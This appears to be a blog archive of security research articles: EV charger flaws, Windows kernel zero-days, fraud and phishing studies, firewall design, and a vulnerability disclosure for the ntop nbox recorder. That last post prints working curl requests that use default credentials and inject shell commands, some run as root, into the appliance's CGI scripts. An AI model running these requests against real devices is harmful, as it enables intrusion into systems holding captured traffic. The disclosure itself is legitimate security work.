Category Archives: research

Securelist: Remotely controlled EV home chargers – the threats and vulnerabilities

We are now seeing signs of a possible shift in the field of personal transport. Recent events such as the ‘dieselgate’ scandal undermine customer and government confidence in combustion engines and their environmental safety. At the same time there has been a big step forward in the development of electric vehicles. In addition to favorable media coverage, modern EVs have evolved a lot in terms of battery endurance, driving speeds and interior and exterior design.

To stimulate growth in the personal EV segment some countries even have special tax relief programs for EV owners. But there is still a major problem – the lack of charging infrastructure. This may not be as relevant in big cities, but in other places car owners mostly rely on their own home EV chargers, a relatively new class of device that has attracted our attention.

There are lots of home charger vendors. Some of them, such as ABB or GE, are well-known brands, but some smaller companies have to add ‘bells and whistles’ to their products to attract customers. One of the most obvious and popular options in this respect is remote control of the charging process. But from our point of view this sort of improvement can make chargers an easy target for a variety of attacks. To prove it we decided to take one of them, ChargePoint Home made by ChargePoint, Inc., and conduct some in-depth security research.

ChargePoint Home supports both Wi-Fi and Bluetooth wireless technologies. The end user can remotely control the charging process with a mobile application available for both iOS and Android platforms. All that’s needed is to register a new account in the application, connect a smartphone to the device via Bluetooth, set the parameters of a Wi-Fi network for an internet connection, and finish the registration process by sending the created user ID and the smartphone’s GPS coordinates to the backend from the device.

In a registered state, the device establishes a connection to the remote backend server, which is used to transfer the user’s commands from the application. The application thereby makes it possible to remotely change the maximum consumable current and to start and stop the charging process.

To explore the registration data flows in more detail, we used a rooted smartphone with the hcidump application installed. With this application, we were able to make a dump of the whole registration process, which can later be viewed in Wireshark.

The Bluetooth interface is only used during the registration phase and disabled afterwards. But we found another, rather unusual wireless communication channel that is implemented by means of photodiode on the device side and photoflash on the smartphone side. It seems to have just one purpose: by playing a special blinking pattern on the flash, the application can trigger the factory reset process after the device’s next reboot. During the reboot, Wi-Fi settings and registered user information will be wiped.

In addition, we found a web server with enabled CGI on the device. All web server communications are protected by the SSL protocol with the same scheme as the control server, so the web server inherits the described certificate security issue. We discovered a series of vulnerabilities in CGI binaries that can be used by an intruder to gain control of the device. Two of them were found in the binary used to upload files in different folders to the device depending on the query string parameters. Other vulnerabilities (stack buffer overflow) were found in the binary used to send different commands to the charger in the vendor-specific format (included in a POST message body). We also found the same stack buffer overflow vulnerabilities in the other binary used for downloading different system logs from the device. All this presents attackers with an opportunity to control the charging process by connecting to the target’s Wi-Fi network.

Vulnerabilities in the Bluetooth stack were also found, but they are all minor due to the limited use of Bluetooth during regular device operation.

We can see two major capabilities an intruder can gain from a successful attack. They will be able to:

  • Adjust the maximum current that can be consumed during charging. As a result, an attacker can temporarily disable parts of the user’s home electrical system or even cause physical damage – for example, if the device is not connected properly, a fire could start due to wires overheating.
  • Stop a car’s charging process at any time, for example, restricting an EV owner’s ability to drive where they need to, and even cause financial losses.

We sent all our findings to ChargePoint, Inc. The vulnerabilities we discovered have already been patched, but the question remains as to whether there is any reason to implement wireless interfaces when there is no real need for them. The benefits they bring are often outweighed by the security risks they add.

Download “ChargePoint Home security research” (English, PDF)



Securelist

Remotely controlled EV home chargers – the threats and vulnerabilities

We are now seeing signs of a possible shift in the field of personal transport. Recent events such as the ‘dieselgate’ scandal undermine customer and government confidence in combustion engines and their environmental safety. At the same time there has been a big step forward in the development of electric vehicles. In addition to favorable media coverage, modern EVs have evolved a lot in terms of battery endurance, driving speeds and interior and exterior design.

To stimulate growth in the personal EV segment some countries even have special tax relief programs for EV owners. But there is still a major problem – the lack of charging infrastructure. This may not be as relevant in big cities, but in other places car owners mostly rely on their own home EV chargers, a relatively new class of device that has attracted our attention.

There are lots of home charger vendors. Some of them, such as ABB or GE, are well-known brands, but some smaller companies have to add ‘bells and whistles’ to their products to attract customers. One of the most obvious and popular options in this respect is remote control of the charging process. But from our point of view this sort of improvement can make chargers an easy target for a variety of attacks. To prove it we decided to take one of them, ChargePoint Home made by ChargePoint, Inc., and conduct some in-depth security research.

ChargePoint Home supports both Wi-Fi and Bluetooth wireless technologies. The end user can remotely control the charging process with a mobile application available for both iOS and Android platforms. All that’s needed is to register a new account in the application, connect a smartphone to the device via Bluetooth, set the parameters of a Wi-Fi network for an internet connection, and finish the registration process by sending the created user ID and the smartphone’s GPS coordinates to the backend from the device.

In a registered state, the device establishes a connection to the remote backend server, which is used to transfer the user’s commands from the application. The application thereby makes it possible to remotely change the maximum consumable current and to start and stop the charging process.

To explore the registration data flows in more detail, we used a rooted smartphone with the hcidump application installed. With this application, we were able to make a dump of the whole registration process, which can later be viewed in Wireshark.

The Bluetooth interface is only used during the registration phase and disabled afterwards. But we found another, rather unusual wireless communication channel that is implemented by means of photodiode on the device side and photoflash on the smartphone side. It seems to have just one purpose: by playing a special blinking pattern on the flash, the application can trigger the factory reset process after the device’s next reboot. During the reboot, Wi-Fi settings and registered user information will be wiped.

In addition, we found a web server with enabled CGI on the device. All web server communications are protected by the SSL protocol with the same scheme as the control server, so the web server inherits the described certificate security issue. We discovered a series of vulnerabilities in CGI binaries that can be used by an intruder to gain control of the device. Two of them were found in the binary used to upload files in different folders to the device depending on the query string parameters. Other vulnerabilities (stack buffer overflow) were found in the binary used to send different commands to the charger in the vendor-specific format (included in a POST message body). We also found the same stack buffer overflow vulnerabilities in the other binary used for downloading different system logs from the device. All this presents attackers with an opportunity to control the charging process by connecting to the target’s Wi-Fi network.

Vulnerabilities in the Bluetooth stack were also found, but they are all minor due to the limited use of Bluetooth during regular device operation.

We can see two major capabilities an intruder can gain from a successful attack. They will be able to:

  • Adjust the maximum current that can be consumed during charging. As a result, an attacker can temporarily disable parts of the user’s home electrical system or even cause physical damage – for example, if the device is not connected properly, a fire could start due to wires overheating.
  • Stop a car’s charging process at any time, for example, restricting an EV owner’s ability to drive where they need to, and even cause financial losses.

We sent all our findings to ChargePoint, Inc. The vulnerabilities we discovered have already been patched, but the question remains as to whether there is any reason to implement wireless interfaces when there is no real need for them. The benefits they bring are often outweighed by the security risks they add.

Download “ChargePoint Home security research” (English, PDF)

Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611)

Executive summary

In October 2018, our AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in the Microsoft Windows operating system. Further analysis led us to uncover a zero-day vulnerability in ntoskrnl.exe. We reported it to Microsoft on October 29, 2018. The company confirmed the vulnerability and assigned it CVE-2018-8611. Microsoft just released a patch, part of its December update, crediting Kaspersky Lab researchers Boris Larin (Oct0xor) and Igor Soumenkov (2igosha) with the discovery.

This is the third consecutive exploited Local Privilege Escalation vulnerability in Windows we discovered this autumn using our technologies. Unlike the previously reported vulnerabilities in win32k.sys (CVE-2018-8589 and CVE-2018-8453), CVE-2018-8611 is an especially dangerous threat – a vulnerability in the Kernel Transaction Manager driver. It can also be used to escape the sandbox in modern web browsers, including Chrome and Edge, since syscall filtering mitigations do not apply to ntoskrnl.exe system calls.

Just like with CVE-2018-8589, we believe this exploit is used by several threat actors including, but possibly not limited to, FruityArmor and SandCat. While FruityArmor is known to have used zero-days before, SandCat is a new APT we discovered only recently. In addition to this zero-day and CHAINSHOT, SandCat also uses the FinFisher / FinSpy framework.

Kaspersky Lab products detected this exploit proactively through the following technologies:

  1. Behavioral detection engine and Automatic Exploit Prevention for endpoint products
  2. Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts used in this and related attacks are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

Brief details – CVE-2018-8611 vulnerability

CVE-2018-8611 is a race condition that is present in the Kernel Transaction Manager due to improper processing of transacted file operations in kernel mode.

This vulnerability successfully bypasses modern process mitigation policies, such as Win32k System call Filtering that is used, among others, in the Microsoft Edge Sandbox and the Win32k Lockdown Policy employed in the Google Chrome Sandbox. Combined with a compromised renderer process, for example, this vulnerability can lead to a full Remote Command Execution exploit chain in the latest state-of-the-art web-browsers.

We have found multiple builds of exploit for this vulnerability. The latest build includes changes to reflect the latest versions of the Windows OS.

Check for the newest at the moment Windows 10 Redstone 4 Build 17133

A check for the latest build at the time of discovery: Windows 10 Redstone 4 Build 17133

Similarly to CHAINSHOT, this exploit heavily relies on the use of C++ exception handling mechanisms with custom error codes.

To abuse this vulnerability exploit first creates a named pipe and opens it for read and write. Then it creates a pair of new transaction manager objects, resource manager objects, transaction objects and creates a big number of enlistment objects for what we will call “Transaction #2”. Enlistment is a special object that is used for association between a transaction and a resource manager. When the transaction state changes associated resource manager is notified by the KTM. After that it creates one more enlistment object only now it does so for “Transaction #1” and commits all the changes made during this transaction.
After all the initial preparations have been made exploit proceeds to the second part of vulnerability trigger. It creates multiple threads and binds them to a single CPU core. One of created threads calls NtQueryInformationResourceManager in a loop, while second thread tries to execute NtRecoverResourceManager once. But the vulnerability itself is triggered in the third thread. This thread uses a trick of execution NtQueryInformationThread to obtain information on the latest executed syscall for the second thread. Successful execution of NtRecoverResourceManager will mean that race condition has occurred and further execution of WriteFile on previously created named pipe will lead to memory corruption.


Proof of concept: execution of WriteFile with buffer set to 0x41

As always, we provided Microsoft with a proof of concept for this vulnerability, along with source code. And it was later shared through Microsoft Active Protections Program (MAPP).

More information about SandCat, FruityArmor and CVE-2018-8611 is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com

Securelist: Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611)

Executive summary

In October 2018, our AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in the Microsoft Windows operating system. Further analysis led us to uncover a zero-day vulnerability in ntoskrnl.exe. We reported it to Microsoft on October 29, 2018. The company confirmed the vulnerability and assigned it CVE-2018-8611. Microsoft just released a patch, part of its December update, crediting Kaspersky Lab researchers Boris Larin (Oct0xor) and Igor Soumenkov (2igosha) with the discovery.

This is the third consecutive exploited Local Privilege Escalation vulnerability in Windows we discovered this autumn using our technologies. Unlike the previously reported vulnerabilities in win32k.sys (CVE-2018-8589 and CVE-2018-8453), CVE-2018-8611 is an especially dangerous threat – a vulnerability in the Kernel Transaction Manager driver. It can also be used to escape the sandbox in modern web browsers, including Chrome and Edge, since syscall filtering mitigations do not apply to ntoskrnl.exe system calls.

Just like with CVE-2018-8589, we believe this exploit is used by several threat actors including, but possibly not limited to, FruityArmor and SandCat. While FruityArmor is known to have used zero-days before, SandCat is a new APT we discovered only recently. In addition to this zero-day and CHAINSHOT, SandCat also uses the FinFisher / FinSpy framework.

Kaspersky Lab products detected this exploit proactively through the following technologies:

  1. Behavioral detection engine and Automatic Exploit Prevention for endpoint products
  2. Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts used in this and related attacks are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

Brief details – CVE-2018-8611 vulnerability

CVE-2018-8611 is a race condition that is present in the Kernel Transaction Manager due to improper processing of transacted file operations in kernel mode.

This vulnerability successfully bypasses modern process mitigation policies, such as Win32k System call Filtering that is used, among others, in the Microsoft Edge Sandbox and the Win32k Lockdown Policy employed in the Google Chrome Sandbox. Combined with a compromised renderer process, for example, this vulnerability can lead to a full Remote Command Execution exploit chain in the latest state-of-the-art web-browsers.

We have found multiple builds of exploit for this vulnerability. The latest build includes changes to reflect the latest versions of the Windows OS.

Check for the newest at the moment Windows 10 Redstone 4 Build 17133

A check for the latest build at the time of discovery: Windows 10 Redstone 4 Build 17133

Similarly to CHAINSHOT, this exploit heavily relies on the use of C++ exception handling mechanisms with custom error codes.

To abuse this vulnerability exploit first creates a named pipe and opens it for read and write. Then it creates a pair of new transaction manager objects, resource manager objects, transaction objects and creates a big number of enlistment objects for what we will call “Transaction #2”. Enlistment is a special object that is used for association between a transaction and a resource manager. When the transaction state changes associated resource manager is notified by the KTM. After that it creates one more enlistment object only now it does so for “Transaction #1” and commits all the changes made during this transaction.
After all the initial preparations have been made exploit proceeds to the second part of vulnerability trigger. It creates multiple threads and binds them to a single CPU core. One of created threads calls NtQueryInformationResourceManager in a loop, while second thread tries to execute NtRecoverResourceManager once. But the vulnerability itself is triggered in the third thread. This thread uses a trick of execution NtQueryInformationThread to obtain information on the latest executed syscall for the second thread. Successful execution of NtRecoverResourceManager will mean that race condition has occurred and further execution of WriteFile on previously created named pipe will lead to memory corruption.


Proof of concept: execution of WriteFile with buffer set to 0x41

As always, we provided Microsoft with a proof of concept for this vulnerability, along with source code. And it was later shared through Microsoft Active Protections Program (MAPP).

More information about SandCat, FruityArmor and CVE-2018-8611 is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com



Securelist

30% of healthcare databases are exposed online

Despite the fact that electronic health records (EHR) contain extremely sensitive information about individuals, it is shockingly easy for malicious actors to get their hands on them, Intsights security researchers have discovered. It took them some 90 hours to try to gain access to 50 databases used by healthcare organizations and they found that 15 of them (i.e., 30 percent) easily discoverable and accessible to anyone who knows where to look and has a basic … More

The post 30% of healthcare databases are exposed online appeared first on Help Net Security.

Supply chain compromise: Adding undetectable hardware Trojans to integrated circuits

Is it possible for attackers to equip integrated circuits with hardware Trojans that will not change the area or power consumption of the IC, making them thus indiscernible through power-based post fabrication analysis? A group of researchers from the National University of Sciences and Technology (Islamabad, Pakistan), the Vienna University of Technology and New York University have proven it is. They have also demonstrated that hardware Trojans (HTs) can be implanted not only by adding … More

The post Supply chain compromise: Adding undetectable hardware Trojans to integrated circuits appeared first on Help Net Security.

Researchers create AI that could spell the end for website security captchas

Researchers have created new artificial intelligence that could spell the end for one of the most widely used website security systems. The new algorithm, based on deep learning methods, is the most effective solver of captcha security and authentication systems to date and is able to defeat versions of text captcha schemes used to defend the majority of the world’s most popular websites. Text-based captchas use a jumble of letters and numbers, along with other … More

The post Researchers create AI that could spell the end for website security captchas appeared first on Help Net Security.

Major flaws uncovered in leading IoT protocols

Trend Micro warned organizations to revisit their operational technology (OT) security after finding major design flaws and vulnerable implementations related to two popular machine-to-machine (M2M) protocols, Message Queuing Telemetry Transport (MQTT) and Constrained Application Protocol (CoAP). A high-level view of the interaction models of MQTT (left) and CoAP (right) The insecurity of IIoT’s data backbone Trend Micro’s new report, co-branded with Politecnico di Milano, The Fragility of Industrial IoT’s Data Backbone, highlights the growing threat … More

The post Major flaws uncovered in leading IoT protocols appeared first on Help Net Security.

Internal negligence to blame for most data breaches involving personal health information

Your personal identity may fall at the mercy of attackers on many websites, but when it comes to health data breaches, hospitals, doctors offices and even insurance companies are oftentimes the culprits. Internal dangers New research from Michigan State University and Johns Hopkins University found that more than half of the recent personal health information, or PHI, data breaches were because of internal issues with medical providers – not because of hackers or external parties. … More

The post Internal negligence to blame for most data breaches involving personal health information appeared first on Help Net Security.

Synthetic identity fraud to drive $48 billion in annual losses by 2023 – Juniper Research

Online payment fraud losses will reach $48 billion annually by 2023, up from the $22 billion in losses projected for 2018, a new study from Juniper Research has found.

Juniper’s new research claims that a critical driver behind losses from eCommerce, airline ticketing, money transfer and banking services will be “the continued high level of data breaches resulting in the theft of sensitive personal information.”

Synthetic identity fraud is on the rise, researchers found. Fraudsters are using fragments of real data gleaned from breaches to create new, synthetic identities, as they slowly move away from pure identity theft. Synthetic-identity fraud is one the fastest-growing forms of identity theft in the United States, according to the Department of Justice. R. Sean McCleskey, a retired United States Secret Service agent who supervised an identity-theft task force for more than a decade explains to the CNBC why synthetic identity fraud is so prolific:

“When criminals use a blend of different people’s data, as well as some entirely made up information, it becomes harder for law-enforcement officials to both realize the crime and then locate the culprit,” he is quoted as saying.

Juniper forecasts that money transfer will be a particularly vulnerable area, with the global rise in instant payment schemes and a focus on transactional rather than behavioral risk. Fraud losses are projected to increase by over 20% per annum to $10 billion in 2023.

“Synthetic identity is currently the low-hanging fruit because, even though it takes time for fraudsters to establish, many of their targets are not set up to detect the behavioral giveaways that indicate this type of fraud,” said research author Steffen Sorrell.

Techniques practiced by the Magecart and Fin7 groups will become more common as fraudsters seek to create products from their knowledge, Juniper predicts, The two gangs typically use a combination of malware and cross-channel approaches to facilitate their criminal gain, resulting in more common instances of complex fraud as the a ‘fraud-as-a-service’ economy emerges.

The report recommends a holistic approach to fraud prevention, one that includes a strategy to assess and mititgate risk from a cybersecurity perspective.

The more you say you know about phishing, the more vulnerable you are … Until you’re hoodwinked

A study in which researchers sent phishing emails to 1,350 students has yielded a startling find: those who believe they know how to tell a phishing scam from a genuine email are actually more susceptible to the attack.

The study by the University of Maryland, Baltimore County (UMBC) involved various phishing tests to assess whether any demographic segments were more susceptible to phishing attacks.

Responses were gathered from students in disparate fields, from engineering and mathematics to arts and social sciences. Researchers demonstrated that phishing awareness, hours spent on the computer, cyber training, cyber club or cyber scholarship affiliation, age, academic year, and college affiliation significantly affected student susceptibility.

Some interesting findings emerged, including that older students were more able than their younger peers to spot a phishing email and avoid clicking on the links inside. Less surprising results were those by gender, described by the researchers as not statistically relevant, while engineering and IT majors had some of the lowest click rates.

What was not so anticipated, though, was that students who boasted about their knowledge of phishing and how to avoid it were actually more susceptible than those who were less confident in their ability to sniff out phishing.

As many as 59% of subjects who opened the phishing email also clicked on its phishing link, and approximately 70% of those subjects who participated in an additional demographic survey clicked on the bait links inside.

“Contrary to our expectations, we observed greater user susceptibility with greater phishing knowledge and awareness,” paper authors Alejandra Diaz, Alan T. Sherman, and Anupam Joshi said. “Students who identified themselves as understanding the definition of phishing had a higher susceptibility than did their peers who were merely aware of phishing attacks, with both groups having a higher susceptibility than those with no knowledge of phishing.”

 

UMBC researchers are the first to admit they have no convincing explanation for this surprising find, but they ventured a couple of guesses nevertheless:

For one, they theorize that falling victim to a phishing scheme in the past might increase a user’s awareness about phishing. In other words, those clumsy enough to fall for a phishing scheme may become proportionally more skeptical of the contents of their inbox overnight. The logic behind this assumption is sound from a psychological perspective, so it’s reasonable that previous experience indeed played an important factor in the results.

“In hindsight, it might have been wiser to have asked in the post-event survey what was the level of phishing awareness the user had when they opened the phishing email,” the researchers were careful to point out.

Their second hypothesis – likely also a correct scenario and a contributing factor to the finding – is that respondents who fell for the phish were simply over-confident in their knowledge about phishing.

“Typically, the most important and devastating vulnerability a company can have is its very own people,” the authors said, citing an IBM study. “The human factor, or error, is responsible for 95% of security incidents. Malicious actors aim to use social engineering to exploit users into giving up valuable and confidential information […] We hope our results will help businesses and colleges improve their cybersecurity practices,” they noted.

Helping researchers with IoT firmware vulnerability discovery

John Toterhi, a security researcher with IoT security company Finite State, believes that many of the security problems plaguing IoT devices are solvable problems through transparency. “Manufacturers who make their firmware public and follow GPL practices are doing themselves a huge favor: by making firmware public, manufacturers are enabling a world-wide network of the best security talent to find bugs, disclose them responsibly, and improve security for their customers. Without this transparency they exclude so … More

The post Helping researchers with IoT firmware vulnerability discovery appeared first on Help Net Security.

A new exploit for zero-day vulnerability CVE-2018-8589

Yesterday, Microsoft published its security bulletin, which patches a vulnerability discovered by our technologies. We reported it to Microsoft on October 17, 2018. The company confirmed the vulnerability and assigned it CVE-2018-8589.

In October 2018, our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in Microsoft’s Windows operating system. Further analysis revealed a zero-day vulnerability in win32k.sys. The exploit was executed by the first stage of a malware installer in order to gain the necessary privileges for persistence on the victim’s system. So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in the Middle East.

Kaspersky Lab products detected this exploit proactively using the following technologies:

  • Behavioral Detection Engine and Automatic Exploit Prevention for endpoints
  • Advanced Sandboxing and Anti-Malware Engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts in this campaign are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

More information about the attack is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com

Technical details

CVE-2018-8589 is a race condition present in win32k!xxxMoveWindow due to improper locking of messages sent synchronously between threads.

The exploit uses the vulnerability by creating two threads with a class and associated window and moves the window of the opposite thread inside the callback of a WM_NCCALCSIZE message in a window procedure that is common to both threads.

WM_NCCALCSIZE message in win32k!xxxCalcValidRects

Termination of the opposite thread on the maximum level of recursion inside the WM_NCCALCSIZE callback will cause asynchronous copyin of the lParam structure controlled by the attacker.

Lack of proper message locking between win32k!xxxCalcValidRects and win32k!SfnINOUTNCCALCSIZE

The exploit populates lParam with pointers to the shellcode and after being successfully copyied to kernel inside win32k!SfnINOUTNCCALCSIZE, the kernel jumps to the user level. The exploit found in the wild only targeted 32-bit versions of Windows 7.

BSOD on an up-to-date version of Windows 7 with our proof of concept

As always, we provided Microsoft with a proof of concept for this vulnerability along with well-written source code.

Firewalls and the Need for Speed

I was looking for resources on campus network design and found these slides (pdf) from a 2011 Network Startup Resource Center presentation. These two caught my attention:



This bothered me, so I Tweeted about it.

This started some discussion, and prompted me to see what NSRC suggests for architecture these days. You can find the latest, from April 2018, here. Here is the bottom line for their suggested architecture:






What do you think of this architecture?

My Tweet has attracted some attention from the high speed network researcher community, some of whom assume I must be a junior security apprentice who equates "firewall" with "security." Long-time blog readers will laugh at that, like I did. So what was my problem with the original recommendation, and what problems do I have (if any) with the 2018 version?

First, let's be clear that I have always differentiated between visibility and control. A firewall is a poor visibility tool, but it is a control tool. It controls inbound or outbound activity according to its ability to perform in-line traffic inspection. This inline inspection comes at a cost, which is the major concern of those responding to my Tweet.

Notice how the presentation author thinks about firewalls. In the slides above, from the 2018 version, he says "firewalls don't protect users from getting viruses" because "clicked links while browsing" and "email attachments" are "both encrypted and firewalls won't help." Therefore, "since firewalls don't really protect users from viruses, let's focus on protecting critical server assets," because "some campuses can't develop the political backing to remove firewalls for the majority of the campus."

The author is arguing that firewalls are an inbound control mechanism, and they are ill-suited for the most prevalent threat vectors for users, in his opinion: "viruses," delivered via email attachment, or "clicked links."

Mail administrators can protect users from many malicious attachments. Desktop anti-virus can protect users from many malicious downloads delivered via "clicked links." If that is your worldview, of course firewalls are not important.

His argument for firewalls protecting servers is, implicitly, that servers may offer services that should not be exposed to the Internet. Rather than disabling those services, or limiting access via identity or local address restrictions, he says a firewall can provide that inbound control.

These arguments completely miss the point that firewalls are, in my opinion, more effective as an outbound control mechanism. For example, a firewall helps restrict adversary access to his victims when they reach outbound to establish post-exploitation command and control. This relies on the firewall identifying the attempted C2 as being malicious. To the extent intruders encrypt their C2 (and sites fail to inspect it) or use covert mechanisms (e.g., C2 over Twitter), firewalls will be less effective.

The previous argument assumes admins rely on the firewall to identify and block malicious outbound activity. Admins might alternatively identify the activity themselves, and direct the firewall to block outbound activity from designated compromised assets or to designated adversary infrastructure.

As some Twitter responders said, it's possible to do some or all of this without using a stateful firewall. I'm aware of the cool tricks one can play with routing to control traffic. Ken Meyers and I wrote about some of these approaches in 2005 in my book Extrusion Detection. See chapter 5, "Layer 3 Network Access Control."

Implementing these non-firewall-based security choices requries a high degree of diligence, which requires visibility. I did not see this emphasized in the NSRC presentation. For example:


These are fine goals, but I don't equate "manageability" with visibility or security. I don't think "problems and viruses" captures the magnitude of the threat to research networks.

The core of the reaction to my original Tweet is that I don't appreciate the need for speed in research networks. I understand that. However, I can't understand the requirement for "full bandwidth, un-filtered access to the Internet." That is a recipe for disaster.

On the other hand, if you define partner specific networks, and allow essentially site-to-site connectivity with exquisite network security monitoring methods and operations, then I do not have a problem with eliminating firewalls from the architecture. I do have a problem with unrestricted access to adversary infrastructure.

I understand that security doesn't exist to serve itself. Security exists to enable an organizational mission. Security must be a partner in network architecture design. It would be better to emphasize enhance monitoring for the networks discussed above, and think carefully about enabling speed without restrictions. The NSRC resources on the science DMZ merit consideration in this case.

ACM Digital Threats: Research and Practice

CERT/CC is very excited to announce a new journal in collaboration with ACM called ACM Digital Threats, Research and Practice.

The journal (DTRAP) is a peer-reviewed journal that targets the prevention, identification, mitigation, and elimination of digital threats. DTRAP promotes the foundational development of scientific rigor in digital security by bridging the gap between academic research and industry practice. The journal welcomes the submission of scientifically rigorous manuscripts that address extant digital threats, rather than the laboratory model of potential threats. To be accepted for publication, manuscripts must demonstrate scientific rigor and present results that are reproducible.

DTRAP invites researchers and practitioners to submit manuscripts that present scientific observations about the identification, prevention, mitigation, and elimination of digital threats in all areas, including computer hardware, software, networks, robots, industrial automation, firmware, digital devices, etc. For articles involving analysis, the journal requires the use of relevant data and the demonstration of the importance of the results. For articles involving the results of structured observation, the journal requires explicit inclusion of rigorous practices, for example, experiments should clearly describe why internal validity, external validity, containment and transparency hold for the experiment described.

Topics relevant to the journal include, but are not limited to:

  • Network Security
  • Web-based threats
  • Point-of-sale threats
  • Closed-network threats
  • Malicious software analysis
  • Exploit analysis
  • Vulnerability analysis
  • Adversary tactics
  • Threat landscape studies
  • Criminal ecosystem studies
  • Virus response patterns
  • Adversary attack patterns
  • Studies of security operations processes/practices/TTPs
  • Assessment and measurement of security architectures/organization security posture
  • Threat information management and sharing
  • Security services or threat intelligence ecosystem studies
  • Impact of new technologies/protocols on the threat landscape

For further information and to submit your paper, visit Manuscript Central or write to dtrap-editors@acm.org

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

